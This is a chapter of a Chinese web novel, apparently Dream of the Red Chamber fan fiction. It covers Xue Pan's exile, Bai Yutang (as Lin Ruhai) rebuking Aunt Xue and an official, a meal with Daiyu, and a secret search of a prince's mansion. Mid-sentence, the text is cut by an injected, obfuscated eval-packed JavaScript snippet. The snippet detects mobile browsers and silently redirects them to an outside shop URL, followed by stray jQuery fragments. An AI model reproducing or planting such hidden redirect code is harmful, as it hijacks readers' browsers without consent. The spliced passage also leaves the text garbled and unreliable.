薛蟠最终还是被判流放三千里。
薛姨妈早就哭成了泪人儿,一早到城门口送行。
她特意花重金打点了负责押送的狱卒。狱卒也确实照顾了薛蟠,特意给他安排了马车,铺了厚厚的软垫,以便让残疾的薛蟠趴着舒服。
“娘!救我!我不愿流放,我不走!”
薛蟠哭嚎着死死攥住薛姨妈的衣袖,不肯松开,满眼皆是惶恐与不甘。
薛姨妈见爱子这般凄惨模样,心口阵阵抽痛,泪水汹涌而下。
她紧紧回握住薛蟠的手,哽咽咬牙安抚:“我已经写信给了你舅舅,且忍几日,我一定把你接回。至于那害你落得这般境地的人,我绝不罢休,定要他血债血偿、不得善终!”
“让谁不得善终呢?好难猜。”
男声响起时,薛姨妈母子都变了脸色。
明明是温柔好听的男声,但于他们母子而言,这就是魔音穿耳!
白玉堂依旧老样子,着一袭月白锦袍,手执白玉扇,悠然踱步。
他打量一番薛蟠乘坐的马车,目光随即转到狱卒身上,眼中饱含戏谑讥讽之意。
狱卒早就吓得面色煞白,浑身颤栗。在感受到白玉堂目光那一刻,他两股战战,瘫跪在地。
他私自收取犯人家眷的贿赂,安排马车对受刑犯人特殊照顾。不管哪一样罪名,都足够让他完蛋了!
曾洪随后带人气喘吁吁赶来,撞见这一幕,他一时没反应过来。
白玉堂却讥笑他:“曾大人治下的金陵,果真与众不同。”
薛姨妈低下头去,又气又恨,恨自己身份卑微,护不住她可怜的儿子,此时面对林如海竟无法做出任何反抗。
曾洪气恼地指着狱卒,好一顿训斥,随即命人押解走了狱卒,另派新的人手负责押送薛蟠等犯人。
新顶替的狱卒,有了前车之鉴,自然不可能优待薛蟠,不管不顾地将他丢到四处漏风的硬板囚车上,就将人押送出城。
薛姨妈见此情境,恨得指甲把掌心抠出了血。
她双目赤红地瞪向白玉堂,眼中有诉不尽的恨意。
“为什么?你为什么要如此针对我们孤儿寡母?”
偶然路过的百姓听到这话,都好奇地侧目,朝薛姨妈和白玉堂身上瞄。
白玉堂冷声嗤笑,轻蔑地看着薛姨妈:“死去的冯渊也想问你们母子呢,为何要针对他,将他打死?一个杀人犯,被判徒刑三千里,竟然觉得不公?薛夫人大可以去告御状,去好好求一求皇帝,为你儿子改国法。”
百姓们听了这话,才恍然大悟怎么回事,看向薛姨妈的眼神都厌憎鄙夷起来。
“我还以为有人欺负她,原是个不讲理的泼妇!都是爹娘养的,凭什么她儿子的命就是命?”
“啧,不奇怪。能教出杀人犯的母亲,能是什么好东西?”
“我知道这事儿,她是薛家主母!原来她从前仁慈的名声都是装的,儿子打死了人,还妄想逃脱罪责。”
百姓们了解到白玉堂身份后,纷纷郑重行礼,感谢青天大老爷来金陵为百姓伸冤。
“……幸而有林大人,若换成应天府那位,肯定又是和稀泥混过去!”
人群中隐约有百姓说了这话,叫曾洪听得清清楚楚。
曾洪暗暗握紧双拳,咬了咬后槽牙,偷偷瞪白玉堂后背一眼。
在白玉堂转头看他那一刻,曾洪脸上立刻挂上得体的笑容。
“林大人的休沐快结束了吧,何时回扬州处理公务?”
言外之意,白玉堂该走了,最好别留在金陵给他添麻烦。
“不急。”白玉堂无所谓曾洪的态度,悠悠摇着玉扇,翩然而去。
曾洪瞪着白玉堂的背影,恨得直咬牙:真是个祖宗!
“抱歉给曾大人添麻烦了!”薛姨妈红着眼眶给曾洪行礼致歉。
曾洪叹气,“你啊,明知道他们在这,为何如此明目张胆?”
薛姨妈也懊悔,她应该等出了城以后,再悄悄安排的。平日里习惯了,她就没想那么多。
“这可怎么办,他是要逼死我儿啊!”薛姨妈想到瘫痪的薛蟠在条件那么艰苦的牢车里,就哭得不能自已。
曾洪摇了摇头,表示他这会儿也无能为力。这事儿既然已经引起了林如海的注意,说不定事后他还会关注,他可不敢冒着丢官的风险,再为薛家周旋。
以薛蟠那娇生惯养的身子,这般被磋磨,多半会死在路上。但也没办法了,谁叫他杀人犯法了。
一大早去城门口溜了一圈,肚子饿得咕咕叫。白玉堂就带着黛玉去吃成德巷的粟米枣仁粥。
久熬的粟米暖糯绵滑,谷香伴着枣香,口感醇厚。
他家还有一样荠菜馅饼很绝,皮很薄,特别暄软。烙好的饼皮近乎透明,能看到里面鲜亮翠绿的菜馅。
咬一口鲜灵多汁的馅饼,再配一口粥,入胃后十分熨帖。那舒坦的感觉,瞬间扫空了人早起后的倦怠。
黛玉经常被白玉堂带到市井来吃饭,已然习惯了这里烟火气。
曾经见亭台冷月、疏竹落花,她心底总有几分闲愁。
如今浸在市井烟火里,她满心只有:吃!吃!吃!
根本吃不完,都太好吃了,各有特色!
街上的人儿也很好玩,各色各样,可见人世百态,倒比看书中的人物更有趣儿。
“想什么呢!”白玉堂轻敲了一下黛玉脑门,“问你要不要去首饰铺看看?”
黛玉不疼,却故意装疼揉脑门,埋怨地看
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17476747|200777||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
向白玉堂:“不去。爹爹忘了?女儿守孝,戴不得那些花样。”
“是你忘了。早说过,顺你母亲的意去活着才叫孝。在外人面前装装样儿就算了,回家随你打扮得鲜亮。你九泉之下的娘知道了,只会觉得开心。”
“爹爹总讲些歪理,我可不听。”
黛玉偷偷笑了一下,片刻后,她突然问白玉堂能不能带她去茶楼听曲儿。
“我听说金陵城的问鼎茶楼昆曲唱得最好。”
白玉堂扬眉:“不守孝了?孝期可是禁丝竹之声的。”
“我戴着帷帽去。”黛玉垂眸,转了转眼珠儿,“我们只是去那里喝口茶而已,偏巧那儿有人唱曲儿。我们也不能不讲理,把人赶走呀。”
白玉堂乐了,点了一下黛玉的鼻尖,“真不愧是我女儿,像我。”
晌午,白玉堂送黛玉回别苑午睡。他则趁着太阳最烈之时,再一次潜入了忠顺王府。这回东侧门的院子没有守卫,白玉堂轻松破了门口的机关,潜入室内。
一通翻找之后,只在桌案上找了三封忠顺王世子亲笔写的书信。三封信里写的都是诗,表面上看起来,这些诗句句情意绵绵,透着露骨的爱意。
白玉堂琢磨了几遍诗句后,将信原封不动放了回去,转而打量起房间。
他根据他在外面看到的房屋尺寸,重新丈量屋内的尺寸,查出屋子北侧应当还有一部分空间隐藏着。
白玉堂最终在北墙书架上,找到了密室开关。
进了密室,入目便是满书架的账本,桌案上还有一些信件。他快速阅览后,记住重点,便迅速将所有东西归位,悄然离去。
回到别苑的时候,钱德运把信送了上来。
“荣府和王家都来信了。倒是新鲜,老爷这几日住在金陵,他们都知道,还把信送到这来了。”
白玉堂边接信边嗤笑,“不新鲜,昨日史鼎不就送来一封?还放了狠话。”
“这两封恐怕也是劝老爷放过薛蟠的信。”钱德运叹气,“别人就算了,荣府老太太怎么也跟着瞎掺和,逼迫老爷呢。”
白玉堂摇头,“老太太可没那么蠢,这事儿她没掺和,但不耽误她养的混账儿子以她的名义瞎掺和。昨日的信,实则是贾赦所写。今日的,则是贾政与王子腾。”
白玉堂大概扫了一眼,都懒得细看。
贾政措辞委婉些,但说话有点阴阳怪气,夹枪带棒的,满篇都透着一股“我其实是为你官途好才这样劝你”的怪味儿。
王子腾就直白多了,句句威胁,充满斥责与愤怒。
啧,都是些无能狂怒罢了。
白玉堂把两封信爽快地一撕,便懒懒地打了个哈欠,准备去睡午觉。
“收拾一下,明日启程去京城。”